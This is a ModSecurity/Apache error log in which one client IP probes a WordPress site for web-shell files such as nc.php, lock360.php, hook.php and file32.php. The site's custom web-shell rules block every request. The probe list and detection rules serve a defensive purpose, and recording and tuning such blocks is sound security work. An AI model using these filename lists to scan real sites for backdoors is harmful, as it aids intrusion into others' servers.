[Sat Dec 13 21:40:26.183669 2025] [:error] [pid 43747:tid 43754] [client 4.194.162.164:21730] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aT1sypYw3twBd_JQEHhCewAAAAM"]
[Sat Dec 13 21:40:29.168924 2025] [:error] [pid 43747:tid 43763] [client 4.194.162.164:53824] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aT1szZYw3twBd_JQEHhCggAAAAw"]
[Sat Dec 13 21:40:30.444602 2025] [:error] [pid 43747:tid 43766] [client 4.194.162.164:1272] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aT1szpYw3twBd_JQEHhChQAAAA8"]
[Sat Dec 13 21:40:31.300815 2025] [:error] [pid 43748:tid 43790] [client 4.194.162.164:1279] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aT1sz6rTT0VzE3gYjcC0swAAAEs"]
[Sat Dec 13 21:40:32.574418 2025] [:error] [pid 23013:tid 23025] [client 4.194.162.164:41961] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aT1s0Ks9bDNWPQXUW1anawAAA8o"]
[Sat Dec 13 21:40:37.574392 2025] [:error] [pid 23013:tid 23020] [client 4.194.162.164:41954] [client 4.194.162.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aT1s1as9bDNWPQXUW1andAAAA8U"]
[Sat Dec 13 21:40:40.394669 2025] [:error] [pid 55071:tid 55091] [client 4.194.162.164:1650] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aT1s2MHSpNduhEZ_mjfeeQAAAZI"]
[Sat Dec 13 21:40:43.268722 2025] [:error] [pid 20799:tid 20820] [client 4.194.162.164:56832] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aT1s26Pz3eVRUTzZpOKJNwAAAtM"]
[Sat Dec 13 21:40:44.398294 2025] [:error] [pid 43836:tid 43861] [client 4.194.162.164:53755] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aT1s3GAEOBirsxb11nYGjgAAANc"]
[Sat Dec 13 21:40:44.895843 2025] [:error] [pid 22505:tid 22510] [client 4.194.162.164:1174] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aT1s3DvNI-35hW16TnUkFwAAA4M"]
[Sat Dec 13 21:40:46.497295 2025] [:error] [pid 43836:tid 43843] [client 4.194.162.164:1177] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc.php"] [unique_id "aT1s3mAEOBirsxb11nYGjwAAAMU"]
[Sat Dec 13 21:40:47.260417 2025] [:error] [pid 43747:tid 43765] [client 4.194.162.164:43786] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc.php"] [unique_id "aT1s35Yw3twBd_JQEHhClgAAAA4"]
[Sat Dec 13 21:40:48.670255 2025] [:error] [pid 43747:tid 43758] [client 4.194.162.164:56799] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc.php"] [unique_id "aT1s4JYw3twBd_JQEHhClwAAAAc"]
[Sat Dec 13 21:40:50.208888 2025] [:error] [pid 21342:tid 21358] [client 4.194.162.164:1191] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc.php"] [unique_id "aT1s4vBL0VVSMIEvqsuIxwAAAww"]
[Sat Dec 13 21:40:51.335673 2025] [:error] [pid 21342:tid 21361] [client 4.194.162.164:1173] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aT1s4_BL0VVSMIEvqsuIyQAAAw8"]
[Sat Dec 13 21:40:52.095588 2025] [:error] [pid 39287:tid 39304] [client 4.194.162.164:43798] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aT1s5DBwBW1JRRoCYqaQ5gAAAQ8"]
[Sat Dec 13 21:40:55.548079 2025] [:error] [pid 21342:tid 21366] [client 4.194.162.164:1178] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aT1s5_BL0VVSMIEvqsuI0gAAAxQ"]
[Sat Dec 13 21:40:56.632547 2025] [:error] [pid 21342:tid 21347] [client 4.194.162.164:43824] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aT1s6PBL0VVSMIEvqsuI1AAAAwE"]
[Sat Dec 13 21:40:59.945606 2025] [:error] [pid 55071:tid 55073] [client 4.194.162.164:53707] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aT1s68HSpNduhEZ_mjfefwAAAYA"]
[Sat Dec 13 21:41:00.823324 2025] [:error] [pid 39287:tid 39302] [client 4.194.162.164:43789] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aT1s7DBwBW1JRRoCYqaQ7AAAAQ0"]
[Sat Dec 13 21:41:03.037994 2025] [:error] [pid 43747:tid 43772] [client 4.194.162.164:53705] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aT1s75Yw3twBd_JQEHhCmgAAABU"]
[Sat Dec 13 21:41:04.544724 2025] [:error] [pid 43836:tid 43862] [client 4.194.162.164:56789] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aT1s8GAEOBirsxb11nYGlAAAANg"]
[Sat Dec 13 21:41:05.494423 2025] [:error] [pid 43747:tid 43760] [client 4.194.162.164:53702] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hook.php"] [unique_id "aT1s8ZYw3twBd_JQEHhCnQAAAAk"]
[Sat Dec 13 21:41:06.038127 2025] [:error] [pid 8242:tid 8264] [client 4.194.162.164:53710] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hook.php"] [unique_id "aT1s8iNKA7vSGNUfnOFAVwAAAlA"]
[Sat Dec 13 21:41:08.539088 2025] [:error] [pid 20799:tid 20821] [client 4.194.162.164:54657] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hook.php"] [unique_id "aT1s9KPz3eVRUTzZpOKJQQAAAtQ"]
[Sat Dec 13 21:41:09.582869 2025] [:error] [pid 43747:tid 43759] [client 4.194.162.164:43790] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hook.php"] [unique_id "aT1s9ZYw3twBd_JQEHhCoAAAAAg"]
[Sat Dec 13 21:41:12.203211 2025] [:error] [pid 21342:tid 21369] [client 4.194.162.164:43778] [client 4.194.162.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aT1s-PBL0VVSMIEvqsuI4gAAAxc"]
[Sat Dec 13 21:41:12.989904 2025] [:error] [pid 22505:tid 22529] [client 4.194.162.164:54675] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file4.php"] [unique_id "aT1s-DvNI-35hW16TnUkIAAAA5Y"]
[Sat Dec 13 21:41:14.326686 2025] [:error] [pid 21342:tid 21366] [client 4.194.162.164:60075] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file4.php"] [unique_id "aT1s-vBL0VVSMIEvqsuI5wAAAxQ"]
[Sat Dec 13 21:41:16.490023 2025] [:error] [pid 8242:tid 8259] [client 4.194.162.164:54702] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file4.php"] [unique_id "aT1s_CNKA7vSGNUfnOFAWwAAAks"]
[Sat Dec 13 21:41:19.962256 2025] [:error] [pid 8242:tid 8267] [client 4.194.162.164:60046] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file4.php"] [unique_id "aT1s_yNKA7vSGNUfnOFAXAAAAlM"]
[Sat Dec 13 21:41:21.133686 2025] [:error] [pid 43747:tid 43753] [client 4.194.162.164:43810] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sto.php"] [unique_id "aT1tAZYw3twBd_JQEHhCrwAAAAI"]
[Sat Dec 13 21:41:21.544795 2025] [:error] [pid 8242:tid 8257] [client 4.194.162.164:56830] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sto.php"] [unique_id "aT1tASNKA7vSGNUfnOFAXQAAAkk"]
[Sat Dec 13 21:41:22.894835 2025] [:error] [pid 21342:tid 21350] [client 4.194.162.164:60095] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sto.php"] [unique_id "aT1tAvBL0VVSMIEvqsuI7AAAAwQ"]
[Sat Dec 13 21:41:24.720247 2025] [:error] [pid 43748:tid 43797] [client 4.194.162.164:56805] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sto.php"] [unique_id "aT1tBKrTT0VzE3gYjcC0xgAAAFI"]
[Sat Dec 13 21:41:25.826054 2025] [:error] [pid 22505:tid 22526] [client 4.194.162.164:56784] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ffile.php"] [unique_id "aT1tBTvNI-35hW16TnUkIwAAA5M"]
[Sat Dec 13 21:41:27.253479 2025] [:error] [pid 22505:tid 22508] [client 4.194.162.164:60091] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ffile.php"] [unique_id "aT1tBzvNI-35hW16TnUkJAAAA4E"]
[Sat Dec 13 21:41:28.129023 2025] [:error] [pid 8242:tid 8255] [client 4.194.162.164:54704] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ffile.php"] [unique_id "aT1tCCNKA7vSGNUfnOFAYAAAAkc"]
[Sat Dec 13 21:41:28.978220 2025] [:error] [pid 55071:tid 55093] [client 4.194.162.164:60081] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ffile.php"] [unique_id "aT1tCMHSpNduhEZ_mjfeiAAAAZQ"]
[Sat Dec 13 21:41:31.720951 2025] [:error] [pid 43836:tid 43858] [client 4.194.162.164:43802] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aT1tC2AEOBirsxb11nYGpAAAANQ"]
[Sat Dec 13 21:41:34.966412 2025] [:error] [pid 22505:tid 22525] [client 4.194.162.164:56891] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aT1tDjvNI-35hW16TnUkKgAAA5I"]
[Sat Dec 13 21:41:36.882946 2025] [:error] [pid 22505:tid 22511] [client 4.194.162.164:54719] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aT1tEDvNI-35hW16TnUkLAAAA4Q"]
[Sat Dec 13 21:41:37.774731 2025] [:error] [pid 43836:tid 43847] [client 4.194.162.164:60072] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aT1tEWAEOBirsxb11nYGqAAAAMk"]
[Sat Dec 13 21:41:39.181085 2025] [:error] [pid 55071:tid 55085] [client 4.194.162.164:57565] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aT1tE8HSpNduhEZ_mjfejAAAAYw"]
[Sat Dec 13 21:41:39.759500 2025] [:error] [pid 8242:tid 8261] [client 4.194.162.164:54693] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aT1tEyNKA7vSGNUfnOFAaAAAAk0"]
[Sat Dec 13 21:41:52.125528 2025] [:error] [pid 8242:tid 8261] [client 4.194.162.164:57559] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/card.php"] [unique_id "aT1tICNKA7vSGNUfnOFAdwAAAk0"]
[Sat Dec 13 21:41:56.115081 2025] [:error] [pid 43747:tid 43759] [client 4.194.162.164:54697] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/card.php"] [unique_id "aT1tJJYw3twBd_JQEHhCuwAAAAg"]
[Sat Dec 13 21:41:56.795873 2025] [:error] [pid 21342:tid 21351] [client 4.194.162.164:57538] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/card.php"] [unique_id "aT1tJPBL0VVSMIEvqsuI9gAAAwU"]
[Sat Dec 13 21:41:58.476267 2025] [:error] [pid 43748:tid 43792] [client 4.194.162.164:60045] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/card.php"] [unique_id "aT1tJqrTT0VzE3gYjcC0zwAAAE0"]
[Sat Dec 13 21:41:59.674075 2025] [:error] [pid 43748:tid 43797] [client 4.194.162.164:60087] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aT1tJ6rTT0VzE3gYjcC00AAAAFI"]
[Sat Dec 13 21:42:01.996615 2025] [:error] [pid 43748:tid 43802] [client 4.194.162.164:54667] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aT1tKarTT0VzE3gYjcC00QAAAFY"]
[Sat Dec 13 21:42:03.014507 2025] [:error] [pid 20799:tid 20824] [client 4.194.162.164:1083] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aT1tK6Pz3eVRUTzZpOKJUwAAAtc"]
[Sat Dec 13 21:42:05.587447 2025] [:error] [pid 39287:tid 39296] [client 4.194.162.164:60043] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aT1tLTBwBW1JRRoCYqaQ_wAAAQc"]
[Sat Dec 13 21:42:06.520071 2025] [:error] [pid 43747:tid 43773] [client 4.194.162.164:58447] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mnkalo.php"] [unique_id "aT1tLpYw3twBd_JQEHhCxAAAABY"]
[Sat Dec 13 21:42:07.893060 2025] [:error] [pid 21342:tid 21356] [client 4.194.162.164:58438] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mnkalo.php"] [unique_id "aT1tL_BL0VVSMIEvqsuI_AAAAwo"]
[Sat Dec 13 21:42:08.599823 2025] [:error] [pid 20799:tid 20819] [client 4.194.162.164:54485] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mnkalo.php"] [unique_id "aT1tMKPz3eVRUTzZpOKJWAAAAtI"]
